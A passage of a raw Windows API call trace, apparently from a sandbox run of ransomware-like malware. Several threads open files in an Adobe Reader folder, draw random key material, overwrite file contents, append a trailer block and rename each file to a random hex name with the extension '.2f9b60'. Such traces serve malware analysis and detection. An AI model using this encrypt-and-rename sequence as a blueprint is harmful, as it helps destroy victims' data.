_Format="%c%c" | out: _Dest="ac") returned 2 [0206.714] sprintf (in: _Dest=0x1cd9fb9a, _Format="%c%c" | out: _Dest="23") returned 2 [0206.715] RtlInitAnsiString (in: DestinationString=0x277ef728, SourceString="29c8d3936d7090ed53a204c8cb2c379d97cc1e12ac23" | out: DestinationString="29c8d3936d7090ed53a204c8cb2c379d97cc1e12ac23") [0206.715] RtlAnsiStringToUnicodeString (in: DestinationString=0x277ef6f8, SourceString="29c8d3936d7090ed53a204c8cb2c379d97cc1e12ac23", AllocateDestinationString=1 | out: DestinationString="29c8d3936d7090ed53a204c8cb2c379d97cc1e12ac23") returned 0x0 [0206.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddfb40 [0206.715] wcscat (in: _Dest=0x431c65c0, _Source="29c8d3936d7" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\29c8d3936d7") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\29c8d3936d7" [0206.715] wcscat (in: _Dest=0x431c65c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\29c8d3936d7.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\29c8d3936d7.2f9b60" [0206.715] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\29c8d3936d7.2f9b60", NtPathName=0x277ef6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\29c8d3936d7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311c3a0 Thread: id = 2427 os_tid = 0x1e60 [0153.439] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld")) returned 0x20 [0153.440] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD", dwFileAttributes=0x20) returned 1 [0153.440] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1434 [0153.441] GetFileSizeEx (in: hFile=0x1434, lpFileSize=0x27c5fc00 | out: lpFileSize=0x27c5fc00*=7680) returned 1 [0153.441] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.441] ReadFile (in: hFile=0x1434, lpBuffer=0x27c5fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c5fbc8, lpOverlapped=0x0 | out: lpBuffer=0x27c5fb80*, lpNumberOfBytesRead=0x27c5fbc8*=0x4, lpOverlapped=0x0) returned 1 [0153.732] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053e20 [0153.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053eb0 [0153.733] NtQuerySystemTime (in: CurrentTime=0x27c5fac0 | out: CurrentTime=0x27c5fac0*=132462177588622000) returned 0x0 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x4591c7f2 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x423cf9b3 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x1b8a4a2a [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x7ef06995 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x716aa452 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x2845a5d1 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x5197ca38 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x43bad61e [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x744c9e94 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x7fa6ef10 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x16bf477 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x8ff5189 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x7b7f8501 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x2ad05e12 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x307c78b3 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x51051b40 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x168f57bd [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x429402f9 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x69b14494 [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x4a8ad5ab [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x529cd94b [0153.733] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x69d2ac85 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x441bf3aa [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x5b05e169 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x4df1ce4c [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x46c9e679 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x6d99afe7 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x1596e4b6 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x3ea71663 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x85dc5eb [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x7e8ce740 [0153.734] RtlRandomEx (in: Seed=0x27c5fab0 | out: Seed=0x27c5fab0) returned 0x56b6517c [0153.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ee0 [0153.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0153.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f10 [0153.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0153.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053eb0) returned 1 [0153.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced15c0 [0153.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0153.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427345f0 [0153.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42738200 [0153.750] ReadFile (in: hFile=0x1434, lpBuffer=0x427345f0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x27c5fab0, lpOverlapped=0x0 | out: lpBuffer=0x427345f0*, lpNumberOfBytesRead=0x27c5fab0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.100] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.100] WriteFile (in: hFile=0x1434, lpBuffer=0x42738200*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x27c5fab4, lpOverlapped=0x0 | out: lpBuffer=0x42738200*, lpNumberOfBytesWritten=0x27c5fab4*=0x1e00, lpOverlapped=0x0) returned 1 [0161.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6ad0 [0161.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b00 [0161.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b00) returned 1 [0161.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42738200) returned 1 [0161.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427345f0) returned 1 [0161.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0161.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced15c0) returned 1 [0161.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6b00 [0161.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced15c0 [0161.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0161.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b30 [0161.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b30) returned 1 [0161.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6b30 [0161.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b60 [0161.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6b90 [0161.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b90) returned 1 [0161.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0161.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced15c0) returned 1 [0161.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a94e0 [0161.982] SetFilePointerEx (in: hFile=0x1434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.982] WriteFile (in: hFile=0x1434, lpBuffer=0x423a94e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x27c5fbd0, lpOverlapped=0x0 | out: lpBuffer=0x423a94e0*, lpNumberOfBytesWritten=0x27c5fbd0*=0x108, lpOverlapped=0x0) returned 1 [0163.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f60 [0163.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f60) returned 1 [0163.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d080 [0163.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f60 [0163.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f30 [0163.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f30) returned 1 [0163.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0163.926] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.926] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="36") returned 2 [0163.926] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.926] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="2d") returned 2 [0163.926] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="c8") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="0f") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="ea") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="60") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="11") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="b6") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="75") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="eb") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="08") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="1b") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="0c") returned 2 [0163.927] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.927] RtlInitAnsiString (in: DestinationString=0x27c5fc48, SourceString="3d36e52dc80f6f9aea605f115eb6750eeb081bfa0c6c" | out: DestinationString="3d36e52dc80f6f9aea605f115eb6750eeb081bfa0c6c") [0163.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x27c5fc18, SourceString="3d36e52dc80f6f9aea605f115eb6750eeb081bfa0c6c", AllocateDestinationString=1 | out: DestinationString="3d36e52dc80f6f9aea605f115eb6750eeb081bfa0c6c") returned 0x0 [0163.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fa2e0 [0163.928] RtlFreeAnsiString (AnsiString="3") [0163.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f60) returned 1 [0163.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a94e0) returned 1 [0163.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b30) returned 1 [0163.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b60) returned 1 [0163.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6b00) returned 1 [0163.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ad0) returned 1 [0163.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053e20) returned 1 [0163.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ee0) returned 1 [0163.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f10) returned 1 [0163.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230dd80 [0163.930] wcscat (in: _Dest=0x4230dd80, _Source="3d36e52dc80" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\3d36e52dc80") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\3d36e52dc80" [0163.930] wcscat (in: _Dest=0x4230dd80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\3d36e52dc80.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\3d36e52dc80.2f9b60" [0163.931] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\3d36e52dc80.2f9b60", NtPathName=0x27c5fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\3d36e52dc80.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a750 Thread: id = 2428 os_tid = 0x1e64 [0153.449] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor")) returned 0x20 [0153.450] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR", dwFileAttributes=0x20) returned 1 [0153.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1430 [0153.451] GetFileSizeEx (in: hFile=0x1430, lpFileSize=0x25b5f8a0 | out: lpFileSize=0x25b5f8a0*=7680) returned 1 [0153.451] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.451] ReadFile (in: hFile=0x1430, lpBuffer=0x25b5f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25b5f868, lpOverlapped=0x0 | out: lpBuffer=0x25b5f820*, lpNumberOfBytesRead=0x25b5f868*=0x4, lpOverlapped=0x0) returned 1 [0153.753] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053eb0 [0153.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f40 [0153.753] NtQuerySystemTime (in: CurrentTime=0x25b5f760 | out: CurrentTime=0x25b5f760*=132462177588778000) returned 0x0 [0153.753] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x164ef95e [0153.753] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x6433092 [0153.753] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x32954bc8 [0153.753] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x7a30090f [0153.755] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x4ca16a9b [0153.755] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x4a11e5fb [0153.755] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x776bbee7 [0153.755] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x34dbe669 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x5108a5a0 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x535bf6cc [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x672e44ff [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x7d52920d [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x36ac1628 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x170c1689 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x7ac974bf [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x15d89fe5 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x6c620192 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x4b7859e6 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x38956f4e [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x6968153c [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x73b00509 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0xd562f99 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x79b8f155 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x262a6207 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x5ab4dd15 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x4abdd413 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x211a27d9 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x4ff7e61 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x513547f9 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x2c936024 [0153.756] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x6ea25d5b [0153.757] RtlRandomEx (in: Seed=0x25b5f750 | out: Seed=0x25b5f750) returned 0x56dca2e1 [0153.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f70 [0153.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0153.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053fa0 [0153.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0153.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f40) returned 1 [0153.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1610 [0153.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0153.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4273be10 [0153.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4273fa20 [0153.770] ReadFile (in: hFile=0x1430, lpBuffer=0x4273be10, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x25b5f750, lpOverlapped=0x0 | out: lpBuffer=0x4273be10*, lpNumberOfBytesRead=0x25b5f750*=0x1e00, lpOverlapped=0x0) returned 1 [0154.074] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.074] WriteFile (in: hFile=0x1430, lpBuffer=0x4273fa20*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x25b5f754, lpOverlapped=0x0 | out: lpBuffer=0x4273fa20*, lpNumberOfBytesWritten=0x25b5f754*=0x1e00, lpOverlapped=0x0) returned 1 [0161.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6d10 [0161.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6d40 [0161.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6d40) returned 1 [0161.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4273fa20) returned 1 [0161.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4273be10) returned 1 [0161.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0161.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1610) returned 1 [0161.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6d40 [0162.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1610 [0162.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0162.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6d70 [0162.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6d70) returned 1 [0162.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6d70 [0162.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6da0 [0162.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6dd0 [0162.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6dd0) returned 1 [0162.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0162.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1610) returned 1 [0162.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9700 [0162.002] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.002] WriteFile (in: hFile=0x1430, lpBuffer=0x423a9700*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x25b5f870, lpOverlapped=0x0 | out: lpBuffer=0x423a9700*, lpNumberOfBytesWritten=0x25b5f870*=0x108, lpOverlapped=0x0) returned 1 [0163.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.952] 